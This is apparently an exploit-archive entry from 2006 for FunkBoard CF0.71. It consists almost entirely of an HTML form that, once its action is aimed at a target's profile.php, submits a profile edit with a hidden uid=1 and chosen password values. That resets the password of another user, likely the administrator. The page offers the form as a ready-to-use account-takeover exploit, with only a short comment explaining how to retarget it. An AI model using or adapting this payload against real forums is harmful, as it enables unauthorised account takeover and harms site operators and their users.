FunkBoard CF0.71 (profile.php) Remote User Pass Change Exploit

🗓️ 04 Jun 2006 00:00:00Reported by RootType
FunkBoard CF0.71 profile.php Remote User Pass Change Exploit. Form with user info and password change

                                                &lt;!--
Change action=&quot;http://profile.php&quot; under the &lt;form tags&gt; /str0ke
--&gt;

&lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.01 Transitional//EN&quot;&gt;&lt;html&gt;&lt;head&gt;&lt;META http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=utf-8&quot;&gt;&lt;/head&gt;&lt;body&gt;&lt;form enctype=&quot;multipart/form-data&quot; action=&quot;http://profile.php&quot; method=&quot;POST&quot; target=&quot;_blank&quot; onsubmit=&quot;return window.confirm(&amp;quot;You are submitting information to an external page.\nAre you sure?&amp;quot;);&quot;&gt;
&lt;table cellspacing=&quot;1&quot; cellpadding=&quot;2&quot; border=&quot;0&quot; width=&quot;100%&quot;&gt;
&lt;th colspan=&quot;4&quot; bgcolor=&quot;#003366&quot;&gt;
&lt;b&gt;&lt;span&gt;&lt;font color=&quot;#FFbb33&quot;&gt;Profile&lt;/font&gt;&lt;/span&gt;&lt;/b&gt;
&lt;/th&gt;

&lt;tr&gt;
  &lt;td bgcolor=&quot;#888888&quot; valign=&quot;top&quot; width=&quot;20%&quot;&gt;
   &lt;b&gt;User Name&lt;/b&gt;
  &lt;/td&gt;
  &lt;td bgcolor=&quot;#BBBBBB&quot; colspan=&quot;3&quot;&gt;

   ajann  &lt;/td&gt;
&lt;/tr&gt; &lt;tr&gt;
  &lt;td bgcolor=&quot;#888888&quot; valign=&quot;top&quot; width=&quot;20%&quot;&gt;
   &lt;b&gt;Membership Number&lt;/b&gt;
  &lt;/td&gt;
  &lt;td bgcolor=&quot;#BBBBBB&quot; colspan=&quot;3&quot;&gt;
   247  &lt;/td&gt;

&lt;/tr&gt;
&lt;tr&gt;
  &lt;td bgcolor=&quot;#888888&quot; valign=&quot;top&quot; width=&quot;20%&quot;&gt;
   &lt;b&gt;First Registered&lt;/b&gt;
  &lt;/td&gt;
  &lt;td bgcolor=&quot;#BBBBBB&quot; colspan=&quot;3&quot;&gt;
   Sat 03 Jun 2006 at 09:20:14 pm  &lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
  &lt;td bgcolor=&quot;#888888&quot; valign=&quot;top&quot; width=&quot;20%&quot;&gt;

   &lt;b&gt;Last Login&lt;/b&gt;
  &lt;/td&gt;
  &lt;td bgcolor=&quot;#BBBBBB&quot; colspan=&quot;3&quot;&gt;
   Sat 03 Jun 2006 at 09:21:45 pm  &lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
  &lt;td bgcolor=&quot;#888888&quot; valign=&quot;top&quot; width=&quot;20%&quot;&gt;
   &lt;b&gt;Number of posts&lt;/b&gt;

  &lt;/td&gt;
  &lt;td bgcolor=&quot;#BBBBBB&quot; colspan=&quot;3&quot;&gt;
   0  &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
  &lt;td bgcolor=&quot;#888888&quot; valign=&quot;top&quot; width=&quot;20%&quot;&gt;
   &lt;b&gt;Status&lt;/b&gt;
  &lt;/td&gt;

  &lt;td bgcolor=&quot;#BBBBBB&quot; colspan=&quot;3&quot;&gt;
   Member  &lt;/td&gt;
&lt;/tr&gt;

&lt;th colspan=&quot;4&quot; bgcolor=&quot;#003366&quot;&gt;
&lt;b&gt;&lt;span&gt;&lt;font color=&quot;#FFbb33&quot;&gt;Entries marked with a * are 
required&lt;/font&gt;&lt;/span&gt;&lt;/b&gt;
&lt;/th&gt;
&lt;tr&gt;
  &lt;td bgcolor=&quot;#888888&quot; valign=&quot;top&quot; width=&quot;20%&quot;&gt;
&lt;b&gt;User Name&lt;/b&gt; &lt;font color=&quot;#ff0000&quot;&gt;*&lt;/font&gt;

  &lt;/td&gt;
  &lt;td bgcolor=&quot;#BBBBBB&quot; colspan=&quot;3&quot;&gt;
&lt;input size=&quot;30&quot; name=&quot;rname&quot; value=&quot;ajann&quot;&gt;
  &lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
  &lt;td bgcolor=&quot;#888888&quot; valign=&quot;top&quot;&gt;
   &lt;b&gt;Your Name&lt;/b&gt;  &lt;/td&gt;
  &lt;td bgcolor=&quot;#BBBBBB&quot; colspan=&quot;3&quot;&gt;

   &lt;input size=&quot;30&quot; name=&quot;realname&quot; value=&quot;ajann&quot;&gt;
  &lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
  &lt;td bgcolor=&quot;#888888&quot; valign=&quot;top&quot; width=&quot;20%&quot;&gt;
&lt;b&gt;Password&lt;/b&gt; &lt;font color=&quot;#ff0000&quot;&gt;*&lt;/font&gt;
  &lt;/td&gt;
  &lt;td bgcolor=&quot;#BBBBBB&quot; colspan=&quot;3&quot;&gt;
&lt;input type=&quot;password&quot; size=&quot;30&quot; name=&quot;pass&quot; value=&quot;8ebOZmF5pe&quot;&gt;

  &lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
  &lt;td bgcolor=&quot;#888888&quot; valign=&quot;top&quot;&gt;
&lt;b&gt;Confirm Password&lt;/b&gt; &lt;font color=&quot;#ff0000&quot;&gt;*&lt;/font&gt;
  &lt;/td&gt;
  &lt;td bgcolor=&quot;#BBBBBB&quot; colspan=&quot;3&quot;&gt;
&lt;input type=&quot;password&quot; size=&quot;30&quot; name=&quot;cpass&quot; value=&quot;8ebOZmF5pe&quot;&gt;
  &lt;/td&gt;

&lt;/tr&gt;
&lt;tr&gt;
  &lt;td bgcolor=&quot;#888888&quot; valign=&quot;top&quot;&gt;
&lt;b&gt;E-mail&lt;/b&gt; &lt;font color=&quot;#ff0000&quot;&gt;*&lt;/font&gt;
  &lt;/td&gt;
  &lt;td bgcolor=&quot;#BBBBBB&quot; colspan=&quot;3&quot;&gt;
&lt;input size=&quot;30&quot; name=&quot;fmail&quot; value=&quot;&quot;&gt;
Hide Email Address?  &lt;input type=&quot;radio&quot; name=&quot;priv&quot; value=&quot;yes&quot;&gt;Yes
&lt;input type=&quot;radio&quot; name=&quot;priv&quot; value=&quot;no&quot; checked&gt;No
  &lt;/td&gt;

&lt;/tr&gt;
&lt;tr&gt;
  &lt;td bgcolor=&quot;#888888&quot; valign=&quot;top&quot;&gt;
Prefered Language  &lt;/td&gt;
  &lt;td bgcolor=&quot;#BBBBBB&quot; colspan=&quot;3&quot;&gt;
    &lt;select name=&quot;newlang&quot;&gt;
       &lt;option value=&quot;dutch.flf&quot;&gt;dutch&lt;/option&gt;       &lt;option value=&quot;english.flf&quot; selected&gt;english&lt;/option&gt;   &lt;/select&gt;
  &lt;/td&gt;

&lt;/tr&gt;
&lt;tr&gt;
  &lt;td bgcolor=&quot;#888888&quot; valign=&quot;top&quot;&gt;
    Homepage  &lt;/td&gt;
  &lt;td bgcolor=&quot;#BBBBBB&quot; colspan=&quot;3&quot;&gt;
   &lt;input size=&quot;30&quot; name=&quot;www&quot; value=&quot;&quot;&gt;
  &lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
  &lt;td bgcolor=&quot;#888888&quot; valign=&quot;top&quot;&gt;

ICQ  &lt;/td&gt;
  &lt;td bgcolor=&quot;#BBBBBB&quot; colspan=&quot;3&quot;&gt;
&lt;input size=&quot;30&quot; name=&quot;icq&quot; value=&quot;&quot;&gt;
  &lt;/td&gt;
&lt;tr&gt;
  &lt;td bgcolor=&quot;#888888&quot; valign=&quot;top&quot;&gt;
AOL Instant Messenger (AIM)  &lt;/td&gt;
  &lt;td bgcolor=&quot;#BBBBBB&quot; colspan=&quot;3&quot;&gt;
&lt;input size=&quot;30&quot; name=&quot;aim&quot; value=&quot;&quot;&gt;
  &lt;/td&gt;

&lt;/tr&gt;
&lt;tr&gt;
  &lt;td bgcolor=&quot;#888888&quot; valign=&quot;top&quot;&gt;
Yahoo Instant Messenger (YIM)  &lt;/td&gt;
  &lt;td bgcolor=&quot;#BBBBBB&quot; colspan=&quot;3&quot;&gt;
&lt;input size=&quot;30&quot; name=&quot;yim&quot; value=&quot;&quot;&gt;
  &lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
  &lt;td bgcolor=&quot;#888888&quot; valign=&quot;top&quot;&gt;
Location&lt;font color=&quot;#ff0000&quot;&gt;*&lt;/font&gt;  &lt;/td&gt;

  &lt;td bgcolor=&quot;#BBBBBB&quot; colspan=&quot;3&quot;&gt;
&lt;input size=&quot;30&quot; name=&quot;location&quot; value=&quot;asdsadasdasd&quot;&gt;
  &lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
  &lt;td bgcolor=&quot;#888888&quot; valign=&quot;top&quot;&gt;
Hobbies/Interests  &lt;/td&gt;
  &lt;td bgcolor=&quot;#BBBBBB&quot; colspan=&quot;3&quot;&gt;
&lt;input size=&quot;90&quot; name=&quot;interebbies&quot; value=&quot;&quot;&gt;
  &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
  &lt;td bgcolor=&quot;#888888&quot; valign=&quot;top&quot;&gt;
Gender (M/F)  &lt;/td&gt;
  &lt;td bgcolor=&quot;#BBBBBB&quot; colspan=&quot;3&quot;&gt;
&lt;input size=&quot;1&quot; name=&quot;sex&quot; value=&quot;&quot;&gt;
  &lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
  &lt;td bgcolor=&quot;#888888&quot; valign=&quot;top&quot;&gt;
Date of Birth  &lt;/td&gt;

  &lt;td bgcolor=&quot;#BBBBBB&quot; colspan=&quot;3&quot;&gt;
&lt;select name=&quot;dobday&quot;&gt;
&lt;option selected&gt;1&lt;/option&gt;
&lt;option&gt;2&lt;/option&gt;
&lt;option&gt;3&lt;/option&gt;
&lt;option&gt;4&lt;/option&gt;
&lt;option&gt;5&lt;/option&gt;
&lt;option&gt;6&lt;/option&gt;
&lt;option&gt;7&lt;/option&gt;

&lt;option&gt;8&lt;/option&gt;
&lt;option&gt;9&lt;/option&gt;
&lt;option&gt;10&lt;/option&gt;
&lt;option&gt;11&lt;/option&gt;
&lt;option&gt;12&lt;/option&gt;
&lt;option&gt;13&lt;/option&gt;
&lt;option&gt;14&lt;/option&gt;
&lt;option&gt;15&lt;/option&gt;
&lt;option&gt;16&lt;/option&gt;

&lt;option&gt;17&lt;/option&gt;
&lt;option&gt;18&lt;/option&gt;
&lt;option&gt;19&lt;/option&gt;
&lt;option&gt;20&lt;/option&gt;
&lt;option&gt;21&lt;/option&gt;
&lt;option&gt;22&lt;/option&gt;
&lt;option&gt;23&lt;/option&gt;
&lt;option&gt;24&lt;/option&gt;
&lt;option&gt;25&lt;/option&gt;

&lt;option&gt;26&lt;/option&gt;
&lt;option&gt;27&lt;/option&gt;
&lt;option&gt;28&lt;/option&gt;
&lt;option&gt;29&lt;/option&gt;
&lt;option&gt;30&lt;/option&gt;
&lt;option&gt;31&lt;/option&gt;
&lt;/select&gt;
&lt;select name=&quot;dobmonth&quot;&gt;
&lt;option value=&quot;1&quot; selected&gt;January&lt;/option&gt;
&lt;option value=&quot;2&quot;&gt;February&lt;/option&gt;

&lt;option value=&quot;3&quot;&gt;March&lt;/option&gt;
&lt;option value=&quot;4&quot;&gt;April&lt;/option&gt;
&lt;option value=&quot;5&quot;&gt;May&lt;/option&gt;
&lt;option value=&quot;6&quot;&gt;June&lt;/option&gt;
&lt;option value=&quot;7&quot;&gt;July&lt;/option&gt;
&lt;option value=&quot;8&quot;&gt;August&lt;/option&gt;
&lt;option value=&quot;9&quot;&gt;September&lt;/option&gt;
&lt;option value=&quot;10&quot;&gt;October&lt;/option&gt;
&lt;option value=&quot;11&quot;&gt;November&lt;/option&gt;

&lt;option value=&quot;12&quot;&gt;December&lt;/option&gt;
&lt;/select&gt;
&lt;input size=&quot;4&quot; name=&quot;dobyear&quot; value=&quot;&quot;&gt;
  &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
  &lt;td bgcolor=&quot;#888888&quot; valign=&quot;top&quot;&gt;
Signature (&amp;lt; 100 characters)  &lt;/td&gt;
  &lt;td bgcolor=&quot;#BBBBBB&quot; colspan=&quot;3&quot;&gt;

&lt;textarea name=&quot;sig&quot; rows=&quot;3&quot; cols=&quot;35&quot;&gt;   &lt;/textarea&gt;
  &lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
  &lt;td bgcolor=&quot;#888888&quot; valign=&quot;top&quot;&gt;
Use an Avatar ?  &lt;/td&gt;
  &lt;td bgcolor=&quot;#BBBBBB&quot;&gt;
Current Avatar - &lt;input type=&quot;hidden&quot; name=&quot;avatar&quot; value=&quot;No Avatar&quot;&gt;

No Avatar   
&lt;input type=&quot;submit&quot; name=&quot;action&quot; value=&quot;Select Avatar&quot;&gt;&lt;/td&gt;

&lt;/tr&gt;
&lt;tr&gt;
  &lt;td bgcolor=&quot;#888888&quot; valign=&quot;top&quot;&gt;
Upload Avatar ?&lt;br&gt;(GIF, JPG or PNG only)  &lt;/td&gt;
  &lt;td bgcolor=&quot;#BBBBBB&quot;&gt;
&lt;input type=&quot;FILE&quot; name=&quot;userfile&quot; size=&quot;35&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;MAX_FILE_SIZE&quot; value=&quot;5242880&quot;&gt;
  &lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
  &lt;td bgcolor=&quot;#888888&quot; valign=&quot;top&quot;&gt;

&lt;b&gt;Submit&lt;/b&gt;
  &lt;/td&gt;
  &lt;td bgcolor=&quot;#BBBBBB&quot; colspan=&quot;3&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;uid&quot; value=&quot;1&quot;&gt;
&lt;input type=&quot;submit&quot; name=&quot;action&quot; value=&quot;Edit Profile&quot;&gt;
  &lt;/td&gt;
&lt;/tr&gt;
&lt;/tr&gt;&lt;/table&gt;&lt;/form&gt;

&lt;/body&gt;&lt;/html&gt;

# milw0rm.com [2006-06-04]
04 Jun 2006 00:00Current
7.1High risk
Vulners AI Score7.1